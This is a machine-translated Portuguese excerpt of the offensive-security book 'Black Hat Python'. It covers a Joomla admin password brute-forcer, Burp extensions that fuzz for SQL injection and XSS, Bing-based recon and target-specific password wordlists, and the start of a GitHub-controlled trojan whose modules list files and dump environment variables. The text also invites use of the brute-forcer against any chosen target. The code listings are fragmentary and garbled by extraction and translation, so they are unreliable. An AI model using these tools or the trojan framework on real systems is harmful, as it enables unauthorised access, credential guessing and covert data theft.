Existem três métodos principais que você pode implementar ao usar a classe HTMLParser: handle_starttag , handle_endtag e handle_data . A função
handle_starttag será chamada sempre que uma tag HTML de abertura for encontrada, e o oposto é verdadeiro para a função handle_endtag , que é
chamada sempre que uma tag HTML de fechamento for encontrada. A função handle_data é chamada quando há texto bruto entre as tags. Os protótipos
de função para cada função são ligeiramente diferentes, como segue:
<title>Rochas de píton!</title>
Com esse entendimento básico da classe HTMLParser , você pode fazer coisas como analisar formulários, localizar links para indexação, extrair todo o
texto puro para fins de mineração de dados ou localizar todas as imagens em uma página.
Para finalizar nosso brute forcer Joomla, vamos copiar e colar a função build_wordlist de nossa seção anterior e adicionar o
seguinte código:
# cole a função build_wordlist aqui
palavras = build_wordlist(wordlist_file)
É isso! Simplesmente passamos o nome de usuário e nossa lista de palavras para nossa classe Bruter e vemos a mágica
acontecer.
Machine Translated by Google
Chutando os pneus Se você
não tem o Joomla instalado em sua VM Kali, então você deve instalá-lo agora. Minha VM de destino está em
192.168.112.131 e estou usando uma lista de palavras fornecida por Cain e Abel, [12] um popular
ferramentas
conjunto
de força
de
bruta e cracking. Já predefini o nome de usuário para admin e a senha para justin na instalação do Joomla para
garantir que funcione. Em seguida, adicionei justin ao arquivo de lista de palavras cain.txt cerca de 50 entradas ou
mais abaixo do arquivo. Ao executar o script, obtenho a seguinte saída:
$ python2.7 joomla_killer.py Configuração
concluída para: admin Tentando: admin: 0racl38
(306697 restantes)
Tentando: admin: !@#$% (306697 restantes)
Tentando: admin: !@#$%^ (306697 à esquerda) --snip--
Tentando: admin: 1p2o3i (306659 à esquerda)
Você pode ver que ele aplica força bruta e faz login no console do administrador do Joomla. Para verificar, é
claro que você faria o login manualmente e se certificaria. Depois de testar isso localmente e ter certeza de
que funciona, você pode usar essa ferramenta em uma instalação de destino do Joomla de sua escolha.
Devo admitir que, quando comecei a explorar a API do Burp Extender, levei algumas tentativas para entender
como ela funcionava. Achei um pouco confuso, já que sou um cara puramente Python e tenho experiência limitada
em desenvolvimento em Java. Mas encontrei várias extensões no site do Burp que me permitem ver como outras
pessoas desenvolveram extensões e usei essa arte anterior para me ajudar a entender como começar a
implementar meu próprio código. Abordarei algumas noções básicas sobre como estender a funcionalidade, mas
também mostrarei como usar a documentação da API como um guia para desenvolver suas próprias extensões.
Machine Translated by Google
Configuração
Primeiro, baixe o Burp em http:// www.portswigger.net/ e prepará-lo para ir. Por mais triste que seja admitir isso, você precisará
de uma instalação Java moderna, para a qual todos os sistemas operacionais possuem pacotes ou instaladores. A próxima
etapa é obter o arquivo JAR independente do Jython (uma implementação do Python escrita em Java); vamos apontar Burp
para isso. Você pode encontrar este arquivo JAR no site No Starch junto com o restante do código do livro (http://
www.nostarch.com/ blackhatpython/) ou visite o site oficial, http:// www.jython.org/ downloads.html, e selecione o Jython 2.7
Standalone Installer.
Não se deixe enganar pelo nome; é apenas um arquivo JAR. Salve o arquivo JAR em um local fácil de lembrar, como sua
área de trabalho.
Isso fará com que o Burp seja ativado e você deverá ver sua IU cheia de guias maravilhosas, conforme mostrado na Figura 6-1.
Agora vamos apontar Burp para nosso interpretador Jython. Clique na guia Extender e, em seguida, clique na guia
Opções . Na seção Python Environment, selecione o local de seu arquivo Jython JAR, conforme mostrado na Figura 6-2.
Você pode deixar o resto das opções de lado e devemos estar prontos para começar a codificar nossa primeira extensão.
Vamos agitar!
Meu primeiro instinto natural é dar uma olhada na documentação da API Burp para determinar quais classes
Burp eu preciso estender para escrever minha extensão personalizada. Você pode acessar esta documentação
clicando na guia Extender e, em seguida, na guia APIs . Isso pode parecer um pouco assustador porque parece (e é)
muito Java-y. A primeira coisa que notamos é que os desenvolvedores do Burp nomearam apropriadamente cada
classe para que seja fácil descobrir por onde queremos começar. Em particular, como estamos analisando solicitações
da Web difusas durante um ataque do Intruder, vejo as classes IIntruderPayloadGeneratorFactory e
IIntruderPayloadGenerator . Vamos dar uma olhada no que a documentação diz para a classe
IIntruderPayloadGeneratorFactory :
/**
* As extensões podem implementar esta interface e então chamar ÿ *
IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory()
* para registrar uma fábrica para cargas personalizadas do Intruder. */
/**
* Este método é usado pelo Burp para obter o nome do gerador de carga útil. Isso será exibido
*
como uma opção na * interface do usuário do intruso quando o usuário selecionar usar
cargas úteis * geradas por extensão.
*
* @return O nome do gerador de carga útil. */ ÿ String
getGeneratorName();
/**
* Este método é usado pelo Burp quando o usuário inicia um ataque Intruder * que usa este
gerador de carga útil.
Machine Translated by Google
* @param attack * Um
objeto IIntruderAttack que pode ser consultado para obter detalhes * sobre o ataque no qual o gerador
de payload será usado.
A primeira parte da documentação ÿ nos diz para registrar nossa extensão corretamente no Burp. Vamos
estender a classe Burp principal, bem como a classe IIntruderPayloadGeneratorFactory .
Em seguida, vemos que Burp espera que duas funções estejam presentes em nossa
classe principal. A função getGeneratorName ÿ será chamada por Burp para recuperar o nome de nossa
extensão, e espera-se que retornemos uma string. A função createNewInstance ÿ espera que retornemos
uma instância do IIntruderPayloadGenerator, que será uma segunda classe que teremos que criar.
Agora vamos implementar o código Python real para atender a esses requisitos e, em seguida, veremos
como a classe IIntruderPayloadGenerator é adicionada. Abra um novo arquivo Python, nomeie-o como
bhp_fuzzer.py e insira o seguinte código:
ÿ de burp import IBurpExtender
from burp import IIntruderPayloadGeneratorFactory from burp import
IIntruderPayloadGenerator from java.util import List, ArrayList
importar aleatório
ÿ callbacks.registerIntruderPayloadGeneratorFactory(self)
Retorna
ÿ def getGeneratorName(self):
return "Gerador de carga útil BHP"
Portanto, este é o esqueleto simples do que precisamos para satisfazer o primeiro conjunto de requisitos
para nossa extensão. Primeiro temos que importar a classe IBurpExtender ÿ, que é um requisito para cada
extensão que escrevemos. Seguimos isso importando nossas classes necessárias para criar um gerador
de carga útil do Intruder. Em seguida, definimos nossa classe BurpExtender ÿ, que estende as classes
IBurpExtender e IIntruderPayloadGeneratorFactory . Em seguida, usamos a função
registerIntruderPayloadGeneratorFactory ÿ para registrar nossa classe para que a ferramenta Intruder saiba
que podemos gerar cargas úteis. Em seguida, implementamos a função getGeneratorName ÿ para
simplesmente retornar o nome do nosso gerador de carga útil. O último passo é a função createNewInstance
ÿ que recebe o parâmetro do ataque e retorna uma instância da classe IIntruderPayloadGenerator , que
chamamos de BHPFuzzer.
Vamos dar uma olhada na documentação da classe IIntruderPayloadGenerator para sabermos o que
implementar.
/**
Machine
* EstaTranslated by Google
interface é usada para geradores de carga útil personalizados do Intruder.
* Extensões
* que registraram um *
IIntruderPayloadGeneratorFactory devem retornar uma nova instância * desta interface quando
necessário como parte de um novo ataque Intruder. */
*/
ÿ boolean hasMorePayloads();
/**
* Este método é usado pelo Burp para obter o valor do próximo payload.
*
* @param baseValue O valor base da posição atual da carga útil.
* Este valor pode ser nulo se o conceito de um valor base não for * aplicável (por exemplo, em
um ataque de aríete). * @return A próxima carga a ser usada no ataque. */
ÿ void reset();
}
Ok! Portanto, precisamos implementar a classe base e ela precisa expor três funções. A primeira
função, hasMorePayloads ÿ, existe simplesmente para decidir se as solicitações mutantes devem continuar
de volta ao Burp Intruder. Usaremos apenas um contador para lidar com isso e, uma vez que o contador esteja
no máximo que definimos, retornaremos False para que não sejam gerados mais casos de fuzzing. A função
getNextPayload ÿ receberá a carga útil original da solicitação HTTP que você capturou. Ou, se você selecionou
várias áreas de carga útil na solicitação HTTP, receberá apenas os bytes que solicitou para serem difundidos
(falaremos mais sobre isso posteriormente). Essa função nos permite fuzzizar o caso de teste original e depois
retorná-lo para que Burp envie o novo valor fuzzed. A última função, redefinir ÿ, existe para que, se gerarmos
um conjunto conhecido de solicitações fuzzed — digamos cinco delas — então, para cada posição de carga
que designamos na guia Intruder, iremos iterar pelos cinco valores fuzzed.
Nosso fuzzer não é tão meticuloso, e sempre irá manter fuzzing aleatório em cada requisição HTTP. Agora
vamos ver como isso fica quando o implementamos em Python. Adicione o seguinte código ao final de
bhp_fuzzer.py:
ÿ class BHPFuzzer(IIntruderPayloadGenerator): def __init__(self,
extender, attack):
self._extender = extender self._helpers
= extender._helpers self._attack = ataque
self.max_payloads = 10 self.num_iterations = 0
ÿ
Retorna
Machine Translated by Google
ÿ def hasMorePayloads(self): if self.num_iterations
== self.max_payloads:
retorna falso
outro:
retornar Verdadeiro
ÿ def getNextPayload(self,current_payload):
def reset(self):
self.num_iterations = 0 return
Este fuzzer simples é bastante auto-explicativo. Escolheremos aleatoriamente entre três modificadores: um teste de
injeção de SQL simples com aspas simples, uma tentativa de XSS e, em seguida, um modificador que seleciona um
pedaço aleatório na carga útil original e o repete um número aleatório de vezes. Agora temos uma extensão Burp
Intruder que podemos usar. Vamos dar uma olhada em como podemos carregá-lo.
Machine Translated by Google
Chutando os pneus
Primeiro, temos que carregar nossa extensão e garantir que não haja erros. Clique na guia Extender no Burp
e, em seguida, clique no botão Adicionar . Aparece uma tela que permitirá que você aponte Burp para o fuzzer.
Certifique-se de definir as mesmas opções mostradas na Figura 6-3.
Clique em Avançar e o Burp começará a carregar nossa extensão. Se tudo correr bem, Burp deve indicar que
a extensão foi carregada com sucesso. Se houver erros, clique na guia Erros , depure quaisquer erros de
digitação e clique no botão Fechar . A tela do Extender agora deve se parecer com a Figura 6-4.
Machine Translated by Google
Figura 6-4. Burp Extender mostrando que nossa extensão está carregada
Você pode ver que nossa extensão está carregada e que Burp identificou que um gerador de carga útil Intruder
está registrado. Agora estamos prontos para alavancar nossa extensão em um ataque real. Certifique-se de que seu
navegador da Web esteja configurado para usar o Burp Proxy como um proxy de host local na porta 8080 e vamos atacar
o mesmo aplicativo da Web Acunetix do Capítulo 5. Simplesmente navegue até:
http://testphp.vulnweb.com
Como exemplo, usei a pequena barra de pesquisa do site deles para enviar uma pesquisa pela string “teste”.
A Figura 6-5 mostra como posso ver essa solicitação na guia HTTP history da guia Proxy e cliquei com o botão direito na
solicitação para enviá-la ao Intruder.
Machine Translated by Google
Agora mude para a guia Intruder e clique na guia Positions . Aparece uma tela que mostra cada parâmetro
de consulta destacado. Este é o Burp identificando os pontos onde deveríamos estar fuzzing. Você pode tentar
mover os delimitadores de carga útil ou selecionar toda a carga útil para fuzz, se quiser, mas, em nosso caso,
vamos deixar que o Burp decida onde vamos fazer o fuzz. Para maior clareza, consulte a Figura 6-6, que mostra
como funciona o realce de carga útil.
Agora clique na guia Payloads . Nessa tela, clique no menu suspenso Tipo de carga útil e selecione Extensão
gerada. Na seção Opções de carga útil, clique no botão Selecionar gerador... e escolha Gerador de carga
útil BHP no menu suspenso. Sua tela de Payload agora deve se parecer com a Figura 6-7.
Machine Translated by Google
Figura 6-7. Usando nossa extensão fuzzing como um gerador de carga útil
Machine
Agora Translated
estamos by Google
prontos para enviar nossos pedidos. Na parte superior da barra de menu Burp, clique em Intruso e
selecione Iniciar ataque. Isso começa a enviar solicitações difusas e você poderá passar rapidamente pelos
resultados. Quando executei o fuzzer, recebi a saída conforme mostrado na Figura 6-8.
Como você pode ver no aviso na linha 61 da resposta, na solicitação 5, descobrimos o que parece ser uma
vulnerabilidade SQLinjection.
Agora, é claro, nosso fuzzer é apenas para fins de demonstração, mas você ficará surpreso com a eficácia dele para
fazer um aplicativo da Web gerar erros, divulgar caminhos de aplicativos ou se comportar de maneiras que muitos
outros scanners podem perder. O importante é entender como conseguimos alinhar nossa extensão personalizada
aos ataques do Intruder. Agora vamos criar uma extensão que nos ajudará a realizar algum reconhecimento estendido
em um servidor web.
Machine Translated by Google
Bing for Burp Quando
você está atacando um servidor da Web, não é incomum que uma única máquina atenda a vários aplicativos
da Web, alguns dos quais você pode não conhecer. Obviamente, você deseja descobrir esses nomes de host
expostos no mesmo servidor da Web porque eles podem fornecer uma maneira mais fácil de obter um shell.
Não é raro encontrar uma aplicação web insegura ou mesmo recursos de desenvolvimento localizados na mesma
máquina que seu alvo. O mecanismo de pesquisa Bing da Microsoft possui recursos de pesquisa que permitem consultar
o Bing para todos os sites encontrados em um único endereço IP (usando o modificador de pesquisa "IP"). O Bing também
informará todos os subdomínios de um determinado domínio (usando o modificador “domínio”).
Agora poderíamos, é claro, usar um raspador para enviar essas consultas ao Bing e, em seguida, raspar o HTML nos
resultados, mas isso seria falta de educação (e também violaria os termos de uso da maioria dos mecanismos de
pesquisa). Para evitar problemas, podemos usar a API do Bing [13] para enviar essas consultas programaticamente e,
em seguida, analisar os resultados nós mesmos. Não implementaremos nenhuma adição sofisticada à GUI do Burp (além
de um menu de contexto) com esta extensão; simplesmente exibimos os resultados no Burp cada vez que executamos
uma consulta, e quaisquer URLs detectados no escopo de destino do Burp serão adicionados automaticamente. Como
já expliquei como ler a documentação da API do Burp e traduzi-la para Python, vamos direto ao código.
= Nenhum
Esta é a primeira parte da nossa extensão do Bing. Certifique-se de ter sua chave de API do Bing colada no lugar ÿ;
você tem permissão para algo como 2.500 pesquisas gratuitas por mês. Começamos definindo nossa classe
BurpExtender ÿ que implementa a interface padrão IBurpExtender e a IContextMenuFactory, que nos permite fornecer
um menu de contexto quando um usuário clica com o botão direito do mouse em uma solicitação no Burp. Registramos
nosso manipulador de menu ÿ para que possamos determinar qual site o usuário
Machine
clicado, o Translated by Google
que nos permite construir nossas consultas do Bing. A última etapa é configurar nossa função
createMenuItem , que receberá um objeto IContextMenuInvocation que usaremos para determinar qual solicitação HTTP
foi selecionada. A última etapa é renderizar nosso item de menu e fazer com que a função bing_menu manipule o evento
click ÿ. Agora vamos adicionar a funcionalidade para executar a consulta do Bing, gerar os resultados e adicionar
quaisquer hosts virtuais descobertos ao escopo de destino do Burp.
def bing_menu(self,evento):
self.bing_search(host)
Retorna
def bing_search(self,host):
ÿ if is_ip: ip_address =
host domain
= Falso
outro:
endereço_ip = domínio socket.gethostbyname(host)
= Verdadeiro
se domínio:
bing_query_string = "'domínio:%s'" % host
ÿ self.bing_query(bing_query_string)
Nossa função bing_menu é acionada quando o usuário clica no item do menu de contexto que definimos.
Recuperamos todas as solicitações HTTP que foram destacadas ÿ e, em seguida, recuperamos a parte do host da
solicitação para cada uma e a enviamos para nossa função bing_search para processamento adicional. A função
bing_search primeiro determina se recebemos um endereço IP ou um nome de host ÿ. Em seguida, consultamos o
Bing em busca de todos os hosts virtuais que tenham o mesmo endereço IP ÿ do host contido na solicitação HTTP
que foi clicada com o botão direito do mouse. Se um domínio foi passado para nossa extensão, também fazemos uma
pesquisa secundária ÿ para quaisquer subdomínios que o Bing possa ter indexado. Agora vamos instalar o encanamento
para usar a API HTTP do Burp para enviar a solicitação ao Bing e analisar os resultados. Adicione o código a seguir,
garantindo que você esteja tabulado corretamente em nossa classe BurpExtender , ou você encontrará erros.
def bing_query(self,bing_query_string):
ÿ json_body = self._callbacks.makeHttpRequest("api.datamarket.azure.com",.
443,Verdadeiro,http_request).tostring()
ÿ json_body = json_body.split("\r\n\r\n",1)[1]
experimentar:
ÿ r = json.loads(json_body)
j_url = URL(site['Url'])
exceto:
imprimir "Nenhum resultado do Bing"
passar
Retorna
Ok! A API HTTP do Burp exige que construamos toda a solicitação HTTP como uma string antes de enviá-la e, em
particular, você pode ver que precisamos codificar em base64 ÿ nossa chave API do Bing e usar a autenticação
básica HTTP para fazer a chamada API. Em seguida, enviamos nossa solicitação HTTP ÿ para os servidores da
Microsoft. Quando a resposta retornar, teremos a resposta completa, incluindo os cabeçalhos, então dividimos os
cabeçalhos ÿ e depois os passamos para nosso analisador JSON ÿ. Para cada conjunto de resultados, exibimos
algumas informações sobre o site que descobrimos ÿ e, se o site descoberto não estiver no escopo de destino do
Burp ÿ, nós o adicionamos automaticamente. Esta é uma ótima combinação de uso da API Jython e Python puro em
uma extensão Burp para fazer um trabalho de reconhecimento adicional ao atacar um alvo específico. Vamos dar uma v
Machine Translated by Google
Chutando os pneus Use o
mesmo procedimento que usamos para nossa extensão fuzzing para fazer a extensão de pesquisa do Bing funcionar.
Quando estiver carregado, navegue até http:// testphp.vulnweb.com/, e, em seguida, clique com o botão direito do mouse na solicitação
GET que você acabou de emitir. Se a extensão for carregada corretamente, você deverá ver a opção de menu Enviar para o Bing
exibida, conforme mostrado na Figura 6-9.
Ao clicar nessa opção de menu, dependendo da saída escolhida ao carregar a extensão, você deve começar a ver os resultados do
Bing, conforme mostrado na Figura 6-10.
Machine Translated by Google
E se você clicar na guia Target em Burp e selecionar Scope, verá novos itens adicionados automaticamente ao
nosso escopo de destino, conforme mostrado na Figura 6-11. O escopo de destino limita atividades como ataques,
spidering e varreduras apenas para os hosts definidos.
Machine Translated by Google
Figura 6-11. Mostrando como os hosts descobertos são adicionados automaticamente ao escopo de destino do Burp
Machine Translated by Google
Transformando o conteúdo do site em senha de ouro Muitas vezes, a
segurança se resume a uma coisa: senhas de usuários. É triste, mas é verdade. Para piorar as coisas,
quando se trata de aplicativos da web, especialmente os personalizados, é muito comum descobrir que
os bloqueios de conta não são implementados. Em outros casos, senhas fortes não são aplicadas. Nesses
casos, uma sessão de adivinhação de senha online como a do capítulo anterior pode ser apenas o ingresso
para obter acesso ao site.
O truque para adivinhar senhas online é obter a lista de palavras correta. Você não pode testar 10 milhões
de senhas se estiver com pressa, então você precisa ser capaz de criar uma lista de palavras direcionada ao
site em questão. Claro, existem scripts na distribuição do Kali Linux que rastreiam um site e geram uma lista de
palavras com base no conteúdo do site. Porém, se você já usou o Burp Spider para rastrear o site, por que enviar
mais tráfego apenas para gerar uma lista de palavras? Além disso, esses scripts geralmente têm uma tonelada de
argumentos de linha de comando para lembrar. Se você for como eu, já memorizou argumentos de linha de comando
suficientes para impressionar seus amigos, então vamos fazer Burp fazer o trabalho pesado.
importe re
from datetime import datetime from
HTMLParser import HTMLParser
= Nenhum
self.hosts = conjunto()
Retorna
retornar menu_list
O código nesta listagem deve ser bastante familiar agora. Começamos importando os módulos necessários.
Uma classe auxiliar TagStripper nos permitirá remover as tags HTML das respostas HTTP que processaremos posteriormente.
Sua função handle_data armazena o texto da página ÿ em uma variável de membro. Também definimos handle_comment
porque queremos que as palavras armazenadas nos comentários do desenvolvedor também sejam adicionadas à nossa lista
de senhas. Nos bastidores, handle_comment apenas chama handle_data ÿ (no caso de querermos mudar a forma como
processamos o texto da página no futuro).
A função strip alimenta o código HTML para a classe base, HTMLParser, e retorna o texto da página resultante ÿ, que será útil
posteriormente. O restante é quase exatamente igual ao início do script bhp_bing.py que acabamos de terminar. Mais uma vez,
o objetivo é criar um item de menu de contexto na IU do Burp. A única novidade aqui é que armazenamos nossa lista de palavras
em um conjunto, o que garante que não introduzamos palavras duplicadas conforme avançamos. Inicializamos o conjunto com a
senha favorita de todos, “senha” ÿ, apenas para garantir que ela acabe em nossa lista final.
Agora vamos adicionar a lógica para pegar o tráfego HTTP selecionado do Burp e transformá-lo em uma lista de palavras base.
def wordlist_menu(self,evento):
ÿ self.hosts.add(host)
http_response = traffic.getResponse()
se http_response:
ÿ self.get_words(http_response)
self.display_wordlist()
Retorna
tag_stripper = TagStripper()
ÿ page_text = tag_stripper.strip(corpo)
Nossa primeira tarefa é definir a função wordlist_menu , que é nosso manipulador de cliques no menu.
Ele salva o nome do host de resposta ÿ para mais tarde e, em seguida, recupera a resposta HTTP e a alimenta em nossa função
get_words ÿ. A partir daí, get_words separa o cabeçalho do corpo da mensagem,
Machine Translated
verificando se estamosby Google
apenas tentando processar respostas baseadas em texto ÿ. Nossa classe TagStripper ÿ remove o código
HTML do restante do texto da página. Usamos uma expressão regular para localizar todas as palavras que começam com um
caractere alfabético seguido por dois ou mais caracteres de “palavra” ÿ. Depois de fazer o corte final, as palavras bem-sucedidas são
salvas em letras minúsculas na lista de palavras ÿ.
Agora vamos completar o script dando a ele a capacidade de alterar e exibir a lista de palavras capturadas.
retornar mutilado
def display_wordlist(self):
Retorna
Muito agradável! A função mangle pega uma palavra base e a transforma em uma série de suposições de senha com base em
algumas “estratégias” comuns de criação de senha. Neste exemplo simples, criamos uma lista de sufixos para adicionar no final da
palavra base, incluindo o ano atual ÿ. Em seguida, percorremos cada sufixo e o adicionamos à palavra base ÿ para criar uma tentativa
de senha exclusiva. Fazemos outro loop com uma versão em maiúscula da palavra base para uma boa medida. Na função
display_wordlist , imprimimos um comentário no estilo “John the Ripper” ÿ para nos lembrar quais sites foram usados para gerar essa
lista de palavras.
Em seguida, mutilamos cada palavra base e imprimimos os resultados. Hora de levar esse bebê para dar uma volta.
Machine Translated by Google
Chutando os pneus Clique na
guia Extender em Burp, clique no botão Adicionar e use o mesmo procedimento que usamos para nossas extensões anteriores
para fazer a extensão Wordlist funcionar. Depois de carregá-lo, navegue até http:// testphp.vulnweb.com/.
Clique com o botão direito do mouse no site no painel Site Map e selecione Spider this host, conforme mostrado na Figura 6-12.
Depois que Burp tiver visitado todos os links no site de destino, selecione todas as solicitações no painel superior direito, clique com o
botão direito do mouse para abrir o menu de contexto e selecione Create Wordlist, conforme mostrado na Figura 6-13.
Machine Translated by Google
Agora verifique a guia de saída da extensão. Na prática, salvaríamos sua saída em um arquivo, mas, para
fins de demonstração, exibimos a lista de palavras no Burp, conforme mostrado na Figura 6-14.
Agora você pode alimentar esta lista de volta no Burp Intruder para executar o ataque de adivinhação de senha real.
Machine Translated by Google
Figura 6-14. Uma lista de senhas com base no conteúdo do site de destino
Agora demonstramos um pequeno subconjunto da API do Burp, incluindo a capacidade de gerar nossas próprias
cargas de ataque, bem como criar extensões que interagem com a IU do Burp. Durante um teste de penetração, você
frequentemente se depara com problemas específicos ou necessidades de automação, e a API do Burp Extender
oferece uma excelente interface para codificar sua saída de um canto ou, pelo menos, evitar que você tenha que
copiar e colar continuamente os dados capturados do Burp para outra ferramenta.
Neste capítulo, mostramos como construir uma excelente ferramenta de reconhecimento para adicionar ao seu cinto
de ferramentas Burp. Como está, esta extensão recupera apenas os 20 principais resultados do Bing, portanto, como
lição de casa, você pode fazer solicitações adicionais para garantir a recuperação de todos os resultados. Isso exigirá
ler um pouco sobre a API do Bing e escrever algum código para lidar com o conjunto de resultados maior. É claro que
você poderia dizer à aranha Burp para rastrear cada um dos novos sites que descobrir e procurar vulnerabilidades
automaticamente!
[13] Visite http:// www.bing.com/ dev/ en-us/ dev-center/ para configurar sua própria chave de API gratuita do Bing.
Machine Translated by Google
Capítulo 7. Comando e controle do Github
Um dos aspectos mais desafiadores da criação de uma estrutura de trojan sólida é controlar, atualizar e
receber dados de forma assíncrona de seus implantes implantados. É crucial ter uma maneira relativamente universal
de enviar código para seus trojans remotos. Essa flexibilidade é necessária não apenas para controlar seus trojans a fim
de executar diferentes tarefas, mas também porque você pode ter código adicional específico para o sistema operacional
de destino.
Portanto, embora os hackers tenham tido muitos meios criativos de comando e controle ao longo dos anos, como
o IRC ou até o Twitter, tentaremos um serviço realmente projetado para código. Usaremos o GitHub como uma
forma de armazenar informações de configuração do implante e dados exfiltrados, bem como quaisquer módulos que
o implante precise para executar tarefas. Também exploraremos como hackear o mecanismo de importação de
biblioteca nativa do Python para que, conforme você crie novos módulos trojan, seus implantes possam tentar
recuperá-los automaticamente e quaisquer bibliotecas dependentes diretamente de seu repositório também. Lembre-
se de que seu tráfego para o GitHub será criptografado por SSL, e há muito poucas empresas que eu vi que bloqueiam
ativamente o próprio GitHub.
Uma coisa a observar é que usaremos um repositório público para realizar esse teste; se você quiser gastar o
dinheiro, pode obter uma recompra privada para que olhos curiosos não vejam o que você está fazendo. Além disso,
todos os seus módulos, configurações e dados podem ser criptografados usando pares de chaves pública/privada, que
demonstro no Capítulo 9. Vamos começar!
Machine Translated by Google
Configurando uma conta GitHub Se você não tiver
uma conta GitHub, vá para GitHub.com, inscreva-se e crie um novo repositório chamado Chapter7. Em seguida,
você desejará instalar a biblioteca Python GitHub API [14] para poder automatizar sua interação com seu repositório. Você
pode fazer isso na linha de comando fazendo o seguinte:
Se ainda não o fez, instale o cliente git. Eu desenvolvo a partir de uma máquina Linux, mas funciona em qualquer
plataforma. Agora vamos criar uma estrutura básica para nosso repo. Faça o seguinte na linha de comando, adaptando
conforme necessário se você estiver no Windows:
$ mkdir trojan $
cd trojan $ git init
$ mkdir modules
$ mkdir config $
mkdir data $ touch
modules/.gitignore
$ touch config/.gitignore $ touch
data/.gitignore $ git add . $ git
commit -m "Adicionando estrutura
de repositório para trojan." $ git
remote add origin https://github.com/<yourusername>/chapter7.git
$ git push origin master
Aqui, criamos a estrutura inicial do nosso repo. O diretório config contém arquivos de configuração que serão identificados
exclusivamente para cada trojan. Ao implantar cavalos de Troia, você deseja que cada um execute tarefas diferentes e
cada cavalo de Troia verificará seu arquivo de configuração exclusivo. O diretório de módulos contém qualquer código
modular que você deseja que o trojan pegue e execute. Implementaremos um hack especial de importação para permitir
que nosso trojan importe bibliotecas diretamente de nosso repositório GitHub. Esse recurso de carregamento remoto
também permitirá que você armazene bibliotecas de terceiros no GitHub para que você não precise recompilar
continuamente seu trojan toda vez que quiser adicionar novas funcionalidades ou dependências.
O diretório de dados é onde o trojan verificará todos os dados coletados, pressionamentos de tecla, capturas de tela e
assim por diante. Agora vamos criar alguns módulos simples e um arquivo de configuração de exemplo.
Machine Translated by Google
Criando Módulos Em capítulos
posteriores, você fará negócios desagradáveis com seus trojans, como registrar as teclas digitadas e tirar screenshots.
Mas, para começar, vamos criar alguns módulos simples que podemos testar e implantar facilmente. Abra um novo
arquivo no diretório de módulos, nomeie-o como dirlister.py e insira o seguinte código:
importe-nos
def run(**args):
return str(arquivos)
Este pequeno trecho de código simplesmente expõe uma função de execução que lista todos os arquivos no
diretório atual e retorna essa lista como uma string. Cada módulo desenvolvido deve expor uma função de execução que
aceita um número variável de argumentos. Isso permite que você carregue cada módulo da mesma maneira e deixa
extensibilidade suficiente para que você possa personalizar os arquivos de configuração para passar argumentos para o
módulo, se desejar.
Este módulo simplesmente recupera quaisquer variáveis de ambiente definidas na máquina remota na qual o trojan está
sendo executado. Agora vamos enviar esse código para nosso repositório GitHub para que seja utilizável por nosso trojan.
Na linha de comando, insira o seguinte código do diretório principal do repositório:
$ git adicionar .
$ git commit -m "Adicionando novos módulos" $ git
push origin master
Nome do usuário: ********
Senha: ********
Você deve então ver seu código sendo enviado para seu repositório GitHub; sinta-se à vontade para fazer login em sua
conta e verificar novamente! É exatamente assim que você pode continuar a desenvolver código no futuro. Vou deixar a
integração de módulos mais complexos para você como tarefa de casa. Se você tiver centenas de trojans implantados,
poderá enviar novos módulos para seu repositório GitHub e fazer o controle de qualidade ativando seu novo módulo em
um arquivo de configuração para sua versão local do trojan. Dessa forma, você pode testar em uma VM ou hardware de
host que você controla antes de permitir que um de seus trojans remotos pegue o código e o use.
Machine Translated by Google
Configuração do cavalo de Troia
Queremos ser capazes de incumbir nosso cavalo de Troia de executar determinadas ações durante um período
de tempo. Isso significa que precisamos de uma maneira de dizer quais ações devem ser executadas e quais
módulos são responsáveis por executar essas ações. O uso de um arquivo de configuração nos dá esse nível de
controle e também nos permite efetivamente colocar um cavalo de Tróia para dormir (não dando a ele nenhuma tarefa),
se assim o desejarmos. Cada trojan implantado deve ter um identificador exclusivo, tanto para que você possa classificar
os dados recuperados quanto para controlar qual trojan realiza determinadas tarefas. Vamos configurar o trojan para
procurar TROJANID.json no diretório de configuração , que retornará um documento JSON simples que podemos
analisar, converter em um dicionário Python e depois usar. O formato JSON também facilita a alteração das opções de
configuração. Vá para o diretório de configuração e crie um arquivo chamado abc.json com o seguinte
contente:
[
{
"module" : "lista de diretórios"
},
{ "módulo" : "ambiente"
}
]
Esta é apenas uma lista simples de módulos que queremos que o trojan remoto execute. Posteriormente, você verá
como lemos neste documento JSON e, em seguida, iteramos sobre cada opção para carregar esses módulos. Ao
debater as ideias do módulo, você pode descobrir que é útil incluir opções de configuração adicionais, como duração da
execução, número de vezes para executar o módulo selecionado ou argumentos a serem passados para o módulo. Entre
em uma linha de comando e emita o seguinte comando no diretório principal do repositório.
$ git adicionar.
$ git commit -m "Adicionando configuração simples." $
git push origin master Nome de usuário: ********
Senha: ********
Este documento de configuração é bastante simples. Você fornece uma lista de dicionários que informam ao trojan quais
módulos importar e executar. À medida que você cria sua estrutura, pode adicionar funcionalidade adicional a essas
opções de configuração, incluindo métodos de exfiltração, conforme mostro no Capítulo 9. Agora que você tem seus
arquivos de configuração e alguns módulos simples para executar, você começará a criar a peça trojan principal.
Machine Translated by Google
Construindo um cavalo de Tróia compatível com o Github
Agora vamos criar o cavalo de Troia principal que sugará as opções de configuração e o código para executar no GitHub. A
primeira etapa é criar o código necessário para lidar com a conexão, autenticação e comunicação com a API do GitHub.
Vamos começar abrindo um novo arquivo chamado git_trojan.py e inserindo o seguinte código:
ÿ trojan_id = "abc"
= Fila. Fila()
Este é apenas um código de configuração simples com as importações necessárias, que devem manter o tamanho geral do
trojan relativamente pequeno quando compilado. Digo relativamente porque a maioria dos binários compilados do Python
[15] py2exe tem cerca de 7 MB. A única coisa a observar é a variável trojan_id ÿ que
